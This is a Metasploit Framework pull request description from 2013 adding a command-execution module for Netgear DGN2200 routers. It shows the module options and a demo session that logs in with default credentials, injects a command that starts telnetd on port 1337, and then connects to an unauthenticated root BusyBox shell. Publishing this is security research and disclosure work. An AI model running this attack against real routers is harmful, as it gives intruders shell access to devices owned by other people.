rapid7/metasploit-framework — pull request #1618 by m-1-k-3 (2013-03-19 17:15:03+00:00)
Title: Netgear dgn2200 exec

Netgear DGN2200 code exec module

more details with screenshots: http://www.s3cur1ty.de/m1adv2013-015

Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn2200b_exec) > show options

Module options (auxiliary/admin/http/netgear_dgn2200b_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD telnetd -p 1337 yes The command to execute
PASSWORD password yes Password to login with
Proxies no Use a proxy chain
RHOST 192.168.178.244 yes The target address
RPORT 80 yes The target port
USERNAME admin yes User to login with
VHOST no HTTP server virtual host

Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn2200b_exec) > run

[+] 192.168.178.244:80 - Successful login admin/password
[*] 192.168.178.244:80 - Sending remote command: telnetd -p 1337
[*] 192.168.178.244:80 - sleeping 30 seconds till the configuration is activated ...
[*] 192.168.178.244:80 - Blind Exploitation - unknown Exploitation state

[*] Auxiliary module execution completed
Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn2200b_exec) > connect 192.168.178.244 1337
[*] Connected to 192.168.178.244:1337
ÿýÿýÿý!ÿûÿû

BusyBox v1.00 (2011.03.09-01:27+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # cat /proc/version
cat /proc/version
Linux version 2.6.21.5 (will@STB-Linux) (gcc version 4.2.3) #2 Wed Mar 9 11:38:35 SGT 2011
~ #